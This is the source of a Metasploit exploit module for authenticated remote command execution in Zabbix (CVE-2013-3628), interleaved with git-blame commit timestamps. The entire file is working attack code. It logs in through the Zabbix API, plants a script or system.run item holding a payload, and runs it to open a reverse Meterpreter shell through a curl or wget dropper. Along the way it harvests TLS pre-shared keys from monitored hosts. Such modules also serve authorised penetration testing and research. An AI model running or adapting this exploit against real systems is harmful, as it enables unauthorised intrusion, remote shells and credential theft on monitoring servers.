2013-10-30 10:25:48 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-30 10:25:48 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Exploit :: Remote
2013-10-30 10:25:48 -05:00
Rank = ExcellentRanking
2022-01-07 17:40:15 -08:00
2022-05-11 15:31:45 -04:00
include Msf :: Exploit :: Retry
2013-10-30 10:25:48 -05:00
include Msf :: Exploit :: Remote :: HttpClient
2022-01-05 13:35:40 -08:00
include Msf :: Exploit :: CmdStager
2013-10-30 10:25:48 -05:00
2022-02-01 13:29:30 -08:00
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Zabbix Authenticated Remote Command Execution' ,
'Description' = > %q{
ZABBIX allows an administrator to create scripts that will be run on hosts.
An authenticated attacker can create a script containing a payload, then a host
with an IP of 127.0.0.1 and run the arbitrary script on the ZABBIX host.
This module was tested against Zabbix v2.0.9, v2.0.5, v3.0.1, v4.0.18, v5.0.17, v6.0.0.
} ,
'License' = > MSF_LICENSE ,
'Author' = > [
2022-01-07 17:40:15 -08:00
'Brandon Perry <bperry.volatile[at]gmail.com>' , # Discovery / msf module
2022-02-01 13:29:30 -08:00
'lap1nou <lapinousexy[at]gmail.com>' # Update of the module / Item technique
2013-10-30 10:25:48 -05:00
] ,
2022-02-01 13:29:30 -08:00
'References' = > [
2013-10-30 12:25:55 -05:00
[ 'CVE' , '2013-3628' ] ,
2022-01-23 15:28:32 -05:00
[ 'URL' , 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats' ]
2013-10-30 10:25:48 -05:00
] ,
2022-01-07 17:40:15 -08:00
2022-02-01 13:29:30 -08:00
'Platform' = > [ 'unix' , 'linux' ] ,
'Arch' = > [ ARCH_CMD , ARCH_X86 , ARCH_X64 ] ,
'Targets' = > [
[
'Linux Dropper' , {
'Platform' = > 'linux' ,
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
'Type' = > :linux_dropper ,
2022-02-02 12:34:07 -08:00
'CmdStagerFlavor' = > [ 'curl' , 'wget' , 'printf' ] ,
2022-02-01 13:29:30 -08:00
'DefaultOptions' = > {
2022-02-04 04:01:23 -08:00
'CMDSTAGER::FLAVOR' = > 'curl' ,
'MeterpreterTryToFork' = > true ,
2022-02-01 13:29:30 -08:00
'PAYLOAD' = > 'linux/x86/meterpreter/reverse_tcp'
}
}
] ,
[
'Unix Command' , {
'Platform' = > 'unix' ,
'Arch' = > ARCH_CMD ,
'Type' = > :unix_cmd ,
'DefaultOptions' = > {
'PAYLOAD' = > 'cmd/unix/reverse'
}
}
]
] ,
'DisclosureDate' = > '2013-10-30' ,
'DefaultTarget' = > 0 ,
2022-02-04 04:01:23 -08:00
'DefaultOptions' = > { 'WfsDelay' = > 60 } ,
2022-02-01 13:29:30 -08:00
'Notes' = > {
2022-01-07 17:40:15 -08:00
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ REPEATABLE_SESSION ] ,
'SideEffects' = > [ IOC_IN_LOGS , ARTIFACTS_ON_DISK ]
}
2022-02-01 13:29:30 -08:00
)
)
2013-10-30 10:25:48 -05:00
register_options (
2022-02-01 13:29:30 -08:00
[
OptString . new ( 'USERNAME' , [ true , 'Username to authenticate with' , 'Admin' ] ) ,
OptString . new ( 'PASSWORD' , [ true , 'Password to authenticate with' , 'zabbix' ] ) ,
OptString . new ( 'TARGETURI' , [ true , 'The URI of the Zabbix installation' , '/zabbix/' ] ) ,
OptString . new ( 'TLS_PSK_IDENTITY' , [ false , 'The TLS identity' , '' ] ) ,
OptString . new ( 'TLS_PSK' , [ false , 'The TLS PSK' , '' ] ) ,
2022-02-04 04:01:23 -08:00
OptEnum . new ( 'TECHNIQUE' , [ true , 'Choose if the module must use script or item way of achieving RCE, item is only available on Zabbix server >= 3.0 and the AllowKey=system.run[*] directive should be enabled' , 'script' , [ 'script' , 'item' ] ] ) ,
OptInt . new ( 'TIMEOUT' , [ false , 'The last API calls made can take some amount of time to complete, this is the timeout to wait' , 120 ] )
2022-02-01 13:29:30 -08:00
]
)
2013-10-30 10:25:48 -05:00
end
def check
2022-02-01 13:29:30 -08:00
auth_token = login
zabbix_version = get_version
2013-10-30 10:25:48 -05:00
2022-01-07 17:40:15 -08:00
str = rand_text_alpha ( 18 )
script_id = create_script ( auth_token , zabbix_version , " echo #{ str } " )
group_id = find_group_id ( auth_token )
2022-01-09 13:08:25 -08:00
host_id = create_host ( auth_token , group_id )
2013-10-30 10:25:48 -05:00
2022-01-09 13:08:25 -08:00
resp = execute_script ( auth_token , host_id , script_id )
2022-01-07 17:40:15 -08:00
if resp . get_json_document . dig ( 'result' , 'value' ) . gsub ( " \n " , '' ) == str
2022-01-08 10:56:31 -08:00
return Exploit :: CheckCode :: Vulnerable
2013-10-30 10:25:48 -05:00
end
2022-01-07 17:40:15 -08:00
2013-10-30 10:25:48 -05:00
return Exploit :: CheckCode :: Safe
end
2022-02-01 13:29:30 -08:00
def send_json_api_request ( method , auth_token = nil , params = { } )
2022-01-07 17:40:15 -08:00
resp = send_request_cgi ( {
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , '/api_jsonrpc.php' ) ,
2022-02-01 13:29:30 -08:00
'data' = > {
'auth' = > auth_token ,
'id' = > 1 ,
'jsonrpc' = > '2.0' ,
'method' = > method ,
'params' = > params
} . to_json ,
2022-01-07 17:40:15 -08:00
'ctype' = > 'application/json-rpc'
} )
2022-02-01 13:29:30 -08:00
fail_with ( Failure :: Unreachable , " The server didn't respond " ) if resp . nil?
json_document = resp . get_json_document
fail_with ( Failure :: UnexpectedReply , 'The server response is empty' ) if json_document . empty?
return json_document
end
def get_interfaceid ( auth_token , host_id )
params = {
'hostids' = > host_id ,
'output' = > 'extend'
}
resp = send_json_api_request ( 'hostinterface.get' , auth_token , params )
return resp [ 'result' ] [ 0 ] [ 'interfaceid' ]
2022-01-07 17:40:15 -08:00
end
2022-01-09 13:08:25 -08:00
def create_item ( auth_token , host_id , payload )
interface_id = get_interfaceid ( auth_token , host_id )
2022-01-07 17:40:15 -08:00
item_title = rand_text_alpha ( 18 )
2022-01-08 10:56:31 -08:00
@item_title = item_title
2022-01-07 17:40:15 -08:00
print_status ( " Creating an item called #{ item_title } " )
2022-02-01 13:29:30 -08:00
params = {
'delay' = > 30 ,
'hostid' = > host_id ,
2022-02-04 15:12:57 -05:00
'interfaceid' = > interface_id ,
2022-02-04 04:01:23 -08:00
'key_' = > " system.run[ #{ payload } ,nowait] " ,
2022-02-01 13:29:30 -08:00
'name' = > item_title ,
'type' = > 0 ,
'value_type' = > 3
2022-01-07 17:40:15 -08:00
}
2022-02-01 13:29:30 -08:00
send_json_api_request ( 'item.create' , auth_token , params )
2022-01-07 17:40:15 -08:00
2022-02-04 15:12:57 -05:00
vprint_good ( 'Successfully created an item' )
2022-01-07 17:40:15 -08:00
end
def create_script ( auth_token , zabbix_version , payload )
2013-10-30 10:25:48 -05:00
script_title = rand_text_alpha ( 18 )
2022-01-08 10:56:31 -08:00
@script_title = script_title
2022-01-07 17:40:15 -08:00
print_status ( " Creating a script called #{ script_title } " )
2022-01-05 13:35:40 -08:00
2022-02-01 13:29:30 -08:00
params = {
'command' = > payload ,
'name' = > script_title ,
'type' = > 0
2013-10-30 10:25:48 -05:00
}
2022-02-02 14:30:02 -08:00
if zabbix_version > = Rex :: Version . new ( '5.4.0' )
2022-02-01 13:29:30 -08:00
params [ :scope ] = 2
2022-01-07 17:40:15 -08:00
end
2022-02-01 13:29:30 -08:00
resp = send_json_api_request ( 'script.create' , auth_token , params )
script_id = resp . dig ( 'result' , 'scriptids' , 0 )
@script_id = script_id
2013-10-30 10:25:48 -05:00
2022-01-05 13:35:40 -08:00
return script_id
end
2013-10-30 10:25:48 -05:00
2022-01-09 13:08:25 -08:00
def execute_script ( auth_token , host_id , script_id )
2022-02-01 13:29:30 -08:00
print_status ( 'Executing the script...' )
2013-10-30 10:25:48 -05:00
2022-05-13 09:16:01 -04:00
retry_until_truthy ( timeout : datastore [ 'TIMEOUT' ] ) do
2022-02-04 04:01:23 -08:00
params = {
'scriptid' = > script_id . to_s ,
'hostid' = > host_id . to_s
}
2022-01-09 13:08:25 -08:00
2022-02-04 04:01:23 -08:00
resp = send_json_api_request ( 'script.execute' , auth_token , params )
2022-01-05 13:35:40 -08:00
2022-02-04 04:01:23 -08:00
next if ! resp [ 'error' ] . nil?
2022-01-09 13:08:25 -08:00
2022-02-04 04:01:23 -08:00
return resp
2013-10-30 10:25:48 -05:00
end
2022-01-05 13:35:40 -08:00
end
2013-10-30 10:25:48 -05:00
2022-01-09 13:08:25 -08:00
def find_tls_psk ( auth_token )
2022-01-08 10:56:31 -08:00
print_status ( 'Searching for a TLS PSK (pre-shared key)...' )
2022-02-01 13:29:30 -08:00
resp = send_json_api_request ( 'host.get' , auth_token )
2022-01-08 10:56:31 -08:00
# Searching for a PSK
2022-02-01 13:29:30 -08:00
resp [ 'result' ] . each do | host |
2022-02-04 04:01:23 -08:00
next if host [ 'tls_psk' ] . to_s . strip . empty?
2022-01-08 10:56:31 -08:00
2022-02-01 13:29:30 -08:00
print_good ( " Found a TLS PSK ' #{ host [ 'tls_psk' ] } ' for the identity ' #{ host [ 'tls_psk_identity' ] } ', setting them... " )
datastore [ 'TLS_PSK' ] = host [ 'tls_psk' ]
datastore [ 'TLS_PSK_IDENTITY' ] = host [ 'tls_psk_identity' ]
break
2022-01-08 10:56:31 -08:00
end
end
2022-01-05 13:35:40 -08:00
def exploit_script ( auth_token , zabbix_version )
2022-01-07 17:40:15 -08:00
case target [ 'Type' ]
when :unix_cmd
script_id = create_script ( auth_token , zabbix_version , payload . encoded )
when :linux_dropper
2022-01-08 10:56:31 -08:00
script_id = create_script ( auth_token , zabbix_version , generate_cmdstager . join )
2022-01-07 17:40:15 -08:00
end
2022-01-05 13:35:40 -08:00
group_id = find_group_id ( auth_token )
2022-01-09 13:08:25 -08:00
host_id = create_host ( auth_token , group_id )
2022-01-05 13:35:40 -08:00
2022-01-09 13:08:25 -08:00
execute_script ( auth_token , host_id , script_id )
2022-01-07 17:40:15 -08:00
end
2013-10-30 10:25:48 -05:00
2022-01-09 13:08:25 -08:00
def exploit_item ( auth_token )
2022-01-07 17:40:15 -08:00
group_id = find_group_id ( auth_token )
2022-02-01 13:29:30 -08:00
if datastore [ 'TLS_PSK' ] == '' || datastore [ 'TLS_PSK_IDENTITY' ] == ''
2022-01-09 13:08:25 -08:00
find_tls_psk ( auth_token )
2022-01-08 10:56:31 -08:00
end
2022-01-09 13:08:25 -08:00
2022-02-04 04:01:23 -08:00
host_id = create_host ( auth_token , group_id )
2022-01-07 17:40:15 -08:00
case target [ 'Type' ]
when :unix_cmd
2022-01-09 13:08:25 -08:00
create_item ( auth_token , host_id , payload . encoded )
2022-01-07 17:40:15 -08:00
when :linux_dropper
2022-01-09 13:08:25 -08:00
create_item ( auth_token , host_id , generate_cmdstager . join )
2022-01-07 17:40:15 -08:00
end
2013-10-30 10:25:48 -05:00
end
2022-01-03 16:20:16 -08:00
2022-01-05 13:35:40 -08:00
def find_group_id ( auth_token )
2022-01-03 16:20:16 -08:00
print_status ( 'Getting a valid group id...' )
2022-02-01 13:29:30 -08:00
params = {
'output' = > 'extend'
2022-01-05 13:35:40 -08:00
}
2022-02-01 13:29:30 -08:00
resp = send_json_api_request ( 'hostgroup.get' , auth_token , params )
2022-01-03 16:20:16 -08:00
2022-02-01 13:29:30 -08:00
group_id = resp . dig ( 'result' , 0 , 'groupid' )
@group_id = group_id
2022-01-07 17:40:15 -08:00
2022-02-01 13:29:30 -08:00
if ! group_id . nil?
2022-02-04 15:12:57 -05:00
vprint_good ( 'Successfully got a valid groupid' )
2022-01-03 16:20:16 -08:00
end
2022-01-05 13:35:40 -08:00
return group_id
end
2022-01-09 13:08:25 -08:00
def create_host ( auth_token , group_id )
2022-01-03 16:20:16 -08:00
host = rand_text_alpha ( 18 )
2022-01-08 10:56:31 -08:00
@host_name = host
2022-01-07 17:40:15 -08:00
print_status ( " Creating a host called #{ host } " )
2022-01-05 13:35:40 -08:00
2022-02-01 13:29:30 -08:00
params = {
'groups' = > [
{
'groupid' = > group_id
}
] ,
'host' = > host ,
'interfaces' = > [
{
'dns' = > '' ,
'ip' = > '127.0.0.1' ,
'main' = > 1 ,
'port' = > '10050' ,
'type' = > 1 ,
'useip' = > 1
}
]
2022-01-05 13:35:40 -08:00
}
2022-01-03 16:20:16 -08:00
2022-02-01 13:29:30 -08:00
if datastore [ 'TLS_PSK_IDENTITY' ] != '' || datastore [ 'TLS_PSK' ] != ''
params [ :tls_connect ] = 2
params [ :tls_psk_identity ] = datastore [ 'TLS_PSK_IDENTITY' ]
params [ :tls_psk ] = datastore [ 'TLS_PSK' ]
2022-01-07 17:40:15 -08:00
end
2022-02-01 13:29:30 -08:00
resp = send_json_api_request ( 'host.create' , auth_token , params )
2022-01-07 17:40:15 -08:00
2022-02-01 13:29:30 -08:00
host_id = resp . dig ( 'result' , 'hostids' , 0 )
@host_id = host_id
2022-01-07 17:40:15 -08:00
2022-02-04 15:12:57 -05:00
vprint_good ( 'Successfully created an host' )
2022-01-03 16:20:16 -08:00
2022-01-08 10:56:31 -08:00
return host_id
2022-01-05 13:35:40 -08:00
end
2022-02-01 13:29:30 -08:00
def login
params = {
'password' = > datastore [ 'PASSWORD' ] ,
'user' = > datastore [ 'USERNAME' ]
2022-01-05 13:35:40 -08:00
}
2022-02-01 13:29:30 -08:00
resp = send_json_api_request ( 'user.login' , nil , params )
2022-01-05 13:35:40 -08:00
2022-02-01 13:29:30 -08:00
auth_token = resp [ 'result' ]
@auth_token = auth_token
2022-01-07 17:40:15 -08:00
2022-02-01 13:29:30 -08:00
if ! auth_token . nil?
2022-02-04 15:12:57 -05:00
print_good ( 'Successfully logged in' )
2022-01-03 16:20:16 -08:00
end
2022-01-05 13:35:40 -08:00
return auth_token
end
2022-02-01 13:29:30 -08:00
def get_version
resp = send_json_api_request ( 'apiinfo.version' )
2022-01-03 16:20:16 -08:00
2022-02-01 13:29:30 -08:00
version = Rex :: Version . new ( resp [ 'result' ] )
@zabbix_version = version
2022-01-07 17:40:15 -08:00
2022-02-01 13:29:30 -08:00
if ! version . nil?
vprint_status ( " Zabbix version number #{ version } " )
2022-01-03 16:20:16 -08:00
end
2022-01-05 13:35:40 -08:00
return version
end
2022-01-03 16:20:16 -08:00
2022-01-05 13:35:40 -08:00
def exploit
2022-02-01 13:29:30 -08:00
version = get_version
auth_token = login
2022-01-08 10:56:31 -08:00
2022-02-01 13:29:30 -08:00
if datastore [ 'TECHNIQUE' ] == 'script'
2022-01-07 17:40:15 -08:00
exploit_script ( auth_token , version )
2022-02-01 13:29:30 -08:00
elsif datastore [ 'TECHNIQUE' ] == 'item'
2022-01-09 13:08:25 -08:00
exploit_item ( auth_token )
2022-01-07 17:40:15 -08:00
end
2022-01-03 16:20:16 -08:00
end
2022-01-08 10:56:31 -08:00
2022-01-09 13:08:25 -08:00
def delete_host ( auth_token , host_id , host_name , zabbix_version )
2022-02-01 13:29:30 -08:00
params = { }
2022-01-09 13:08:25 -08:00
2022-02-01 13:29:30 -08:00
if zabbix_version < Rex :: Version . new ( '2.2.0' )
params = [ { 'hostid' = > host_id } ]
2022-01-09 13:08:25 -08:00
else
2022-02-01 13:29:30 -08:00
params = [ host_id ]
2022-01-09 13:08:25 -08:00
end
2022-02-01 13:29:30 -08:00
resp = send_json_api_request ( 'host.delete' , auth_token , params )
2022-01-08 10:56:31 -08:00
2022-02-01 13:29:30 -08:00
if ! resp [ 'result' ] . nil?
2022-02-04 15:12:57 -05:00
vprint_good ( " Successfully deleted ' #{ host_name } ' host " )
2022-01-08 10:56:31 -08:00
else
2022-02-01 13:29:30 -08:00
print_warning ( " Couldn't delete the host ' #{ host_name } ' " )
2022-01-08 10:56:31 -08:00
end
end
def delete_script ( auth_token , script_id , script_title )
2022-02-01 13:29:30 -08:00
params = [ script_id ]
2022-01-08 10:56:31 -08:00
2022-02-01 13:29:30 -08:00
resp = send_json_api_request ( 'script.delete' , auth_token , params )
2022-01-08 10:56:31 -08:00
2022-02-01 13:29:30 -08:00
if ! resp [ 'result' ] . nil?
2022-02-04 15:12:57 -05:00
vprint_good ( " Successfully deleted ' #{ script_title } ' script " )
2022-01-08 10:56:31 -08:00
else
2022-02-01 13:29:30 -08:00
print_warning ( " Couldn't delete the script ' #{ script_title } ' " )
2022-01-08 10:56:31 -08:00
end
end
def cleanup
return unless @host_id
2022-01-09 13:08:25 -08:00
delete_host ( @auth_token , @host_id , @host_name , @zabbix_version )
2022-01-08 10:56:31 -08:00
return unless @script_id
delete_script ( @auth_token , @script_id , @script_title )
ensure
super
end
2013-10-30 10:25:48 -05:00
end